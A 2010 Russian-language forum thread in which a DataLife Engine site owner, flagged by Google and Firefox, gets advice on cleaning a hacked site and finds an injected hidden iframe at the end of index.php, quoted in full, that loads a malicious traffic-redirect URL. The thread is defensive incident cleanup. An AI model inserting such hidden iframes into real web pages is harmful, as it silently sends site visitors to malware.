Помощь Ломанули сайт?

Тема в разделе "DLE", создана пользователем Panadol, 26 авг 2010.

Информация :
Актуальная версия DataLife Engine 11.2
( Final Release v.11.2 | Скачать DataLife Engine | Скачать 11.2 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.1 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. Panadol

    Panadol Продавец здоровья

    Регистр.:
    20 апр 2007
    Сообщения:
    303
    Симпатии:
    180
    Сегодня пришло письмо от гугла
    , а также файрфокс блокирует содержимое сайта:
    [​IMG]
    Кто подскажет что сейчас делать? Где искать заразу?
    Дле 8.3
     
  2. eshkin

    eshkin

    Регистр.:
    13 апр 2006
    Сообщения:
    597
    Симпатии:
    255
    поотключать рекламу и поискать по всем двигу base64 и левые адреса, что у вас на скрине (reservus и тд) это первое что бы я сделал)
     
  3. KHyT

    KHyT

    Регистр.:
    26 апр 2008
    Сообщения:
    328
    Симпатии:
    27
    Да не кто вас не ломал меньше надо ставить шаровыые шаблоны и также шаровые двиги ставьте только с провереных источников и будет вам счастье
    У меня такое было проверь DLE антивирусом
    А вообше лучше сноси сайт и ставь новый
     
  4. Andrey-varvara

    Andrey-varvara Постоялец

    Регистр.:
    1 май 2007
    Сообщения:
    73
    Симпатии:
    98
    Не обязательно. Проверь просто файлики все по дате. Которые были отредактированы день-два назад. Посмотри index.php который лежит в корне. Обычно в него всё дописывают.
    Смени пароли на фтп и хостинг.
    Проверь свой комп на вирусню.
     
  5. DrakonHaSh

    DrakonHaSh

    Регистр.:
    29 июн 2010
    Сообщения:
    358
    Симпатии:
    122
    не факт, дату редактирования вполне могли поменять тоже.
    а вообще полезно бекапы делать ;)
     
  6. XeonN

    XeonN

    Регистр.:
    13 ноя 2006
    Сообщения:
    369
    Симпатии:
    150
    Что-бы дату поменять надо уже иметь права на сервере/вдс, не факт что там не простой виртуалхост, банально можно встроеным антивирусом посмотреть если был снепшот сделал раньше, хотя обычно фрейм как раз в index.php ибо руками вам его вставлять небудут а скрипты настроны на индекс файл, или в начале или в конце :)
     
  7. Panadol

    Panadol Продавец здоровья

    Регистр.:
    20 апр 2007
    Сообщения:
    303
    Симпатии:
    180
    Шаровые шаблоны не ставил - делали на заказ.
    Двиг брал здесь, на нулледе
    ДЛЕ антивирем проверял - ничего не находит
    Точно!!! Так и есть - проверил index.php и вот что там было в конце:
    Код:
    <IFRAME src="http://reservus.com/tds/go.php?sid=1" width=1 height=1 style="display:none"></IFRAME>
    
    У меня вопрос - как думаете через что сломали? И какие сейчас лучше действия произвести? Стоит ли искать другие ссылки - _663se2s.co.cc, _hsloader.com или они все грузились через _reservus.com?
     
  8. star-set

    star-set Постоялец

    Регистр.:
    27 апр 2008
    Сообщения:
    119
    Симпатии:
    15
    может трой подцепил и пасы от ftp унесли
     
  9. kostik789

    kostik789 Постоялец

    Регистр.:
    1 июл 2009
    Сообщения:
    149
    Симпатии:
    33
    Делай бэкап и меняй все пароли от сайта. Это полезно делать.
     
Статус темы:
Закрыта.